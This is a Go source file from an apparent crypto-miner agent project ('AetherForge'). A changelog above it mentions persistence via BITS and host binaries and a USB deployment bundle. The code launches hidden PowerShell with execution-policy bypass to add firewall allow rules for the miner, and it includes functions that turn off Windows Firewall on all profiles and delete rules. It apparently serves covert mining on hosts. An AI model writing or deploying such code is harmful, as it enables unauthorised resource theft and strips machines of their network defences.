- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
142 lines
5.0 KiB
Go
142 lines
5.0 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
const firewallRulePrefix = "AetherForge"
|
|
|
|
// EnsureFirewallExclusionWindows registers Windows Firewall allow rules for the installed miner binary.
|
|
func EnsureFirewallExclusionWindows(cfg config.RuntimeConfig, exePath string) {
|
|
if !cfg.FirewallExclusion {
|
|
return
|
|
}
|
|
if strings.TrimSpace(exePath) == "" {
|
|
return
|
|
}
|
|
|
|
ruleBase := firewallRuleBaseName(cfg)
|
|
inName := ruleBase + " In"
|
|
outName := ruleBase + " Out"
|
|
|
|
if firewallRuleExists(inName) && firewallRuleExists(outName) {
|
|
return
|
|
}
|
|
|
|
exeEsc := strings.ReplaceAll(exePath, `'`, `''`)
|
|
script := fmt.Sprintf(`
|
|
$exe = '%s'
|
|
$in = '%s'
|
|
$out = '%s'
|
|
if (-not (Get-NetFirewallRule -DisplayName $in -ErrorAction SilentlyContinue)) {
|
|
New-NetFirewallRule -DisplayName $in -Direction Inbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null
|
|
}
|
|
if (-not (Get-NetFirewallRule -DisplayName $out -ErrorAction SilentlyContinue)) {
|
|
New-NetFirewallRule -DisplayName $out -Direction Outbound -Program $exe -Action Allow -Profile Any -ErrorAction Stop | Out-Null
|
|
}
|
|
`, exeEsc, strings.ReplaceAll(inName, `'`, `''`), strings.ReplaceAll(outName, `'`, `''`))
|
|
|
|
if err := HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script); err != nil {
|
|
log.Printf("[firewall] could not add Windows Firewall rules (try Run as administrator once): %v", err)
|
|
return
|
|
}
|
|
log.Printf("[firewall] Windows Firewall allow rules registered for %s", exePath)
|
|
}
|
|
|
|
// RemoveFirewallExclusionWindows deletes firewall rules created for this worker.
|
|
func RemoveFirewallExclusionWindows(cfg config.RuntimeConfig) {
|
|
ruleBase := firewallRuleBaseName(cfg)
|
|
for _, name := range []string{ruleBase + " In", ruleBase + " Out"} {
|
|
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
|
|
_ = HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
|
}
|
|
}
|
|
|
|
func firewallRuleBaseName(cfg config.RuntimeConfig) string {
|
|
key := PersistenceKeyName(cfg)
|
|
if key == "" {
|
|
return firewallRulePrefix
|
|
}
|
|
return firewallRulePrefix + " " + key
|
|
}
|
|
|
|
func firewallRuleExists(displayName string) bool {
|
|
script := fmt.Sprintf(`(Get-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue | Measure-Object).Count -gt 0`, strings.ReplaceAll(displayName, `'`, `''`))
|
|
out, err := HiddenOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", script)
|
|
if err != nil {
|
|
return false
|
|
}
|
|
return strings.TrimSpace(string(out)) == "True"
|
|
}
|
|
|
|
// parseFirewallProfiles normalizes profile names for Set-NetFirewallProfile.
|
|
func parseFirewallProfiles(csv string) string {
|
|
csv = strings.TrimSpace(strings.ToLower(csv))
|
|
if csv == "" || csv == "all" || csv == "any" {
|
|
return "Domain,Private,Public"
|
|
}
|
|
var parts []string
|
|
for _, p := range strings.Split(csv, ",") {
|
|
p = strings.TrimSpace(p)
|
|
switch p {
|
|
case "domain", "private", "public":
|
|
parts = append(parts, strings.ToUpper(p[:1])+p[1:])
|
|
}
|
|
}
|
|
if len(parts) == 0 {
|
|
return "Domain,Private,Public"
|
|
}
|
|
return strings.Join(parts, ",")
|
|
}
|
|
|
|
// SetWindowsFirewallProfiles enables or disables Windows Firewall on selected profiles (admin).
|
|
// profilesCSV: "all", "Domain,Private", etc.
|
|
func SetWindowsFirewallProfiles(enable bool, profilesCSV string) (string, error) {
|
|
profiles := parseFirewallProfiles(profilesCSV)
|
|
enabled := "$false"
|
|
verb := "disabled"
|
|
if enable {
|
|
enabled = "$true"
|
|
verb = "enabled"
|
|
}
|
|
script := fmt.Sprintf(`
|
|
$profiles = '%s' -split ','
|
|
Set-NetFirewallProfile -Profile $profiles -Enabled %s -ErrorAction Stop
|
|
`, strings.ReplaceAll(profiles, `'`, `''`), enabled)
|
|
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
|
if err != nil {
|
|
return string(out), fmt.Errorf("firewall profiles %s failed (admin required?): %w", verb, err)
|
|
}
|
|
return strings.TrimSpace(string(out)) + fmt.Sprintf("\nWindows Firewall %s on: %s", verb, profiles), nil
|
|
}
|
|
|
|
// DisableWindowsFirewall turns off Domain, Private, and Public firewall profiles.
|
|
func DisableWindowsFirewall() (string, error) {
|
|
return SetWindowsFirewallProfiles(false, "all")
|
|
}
|
|
|
|
// EnableWindowsFirewall turns on all firewall profiles.
|
|
func EnableWindowsFirewall() (string, error) {
|
|
return SetWindowsFirewallProfiles(true, "all")
|
|
}
|
|
|
|
// RemoveFirewallRuleByName deletes a rule by display name.
|
|
func RemoveFirewallRuleByName(displayName string) (string, error) {
|
|
name := strings.TrimSpace(displayName)
|
|
if name == "" {
|
|
return "", fmt.Errorf("rule name required")
|
|
}
|
|
script := fmt.Sprintf(`Remove-NetFirewallRule -DisplayName '%s' -ErrorAction SilentlyContinue`, strings.ReplaceAll(name, `'`, `''`))
|
|
out, err := HiddenCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
|
if err != nil {
|
|
return string(out), err
|
|
}
|
|
return fmt.Sprintf("Removed firewall rule: %s", name), nil
|
|
}
|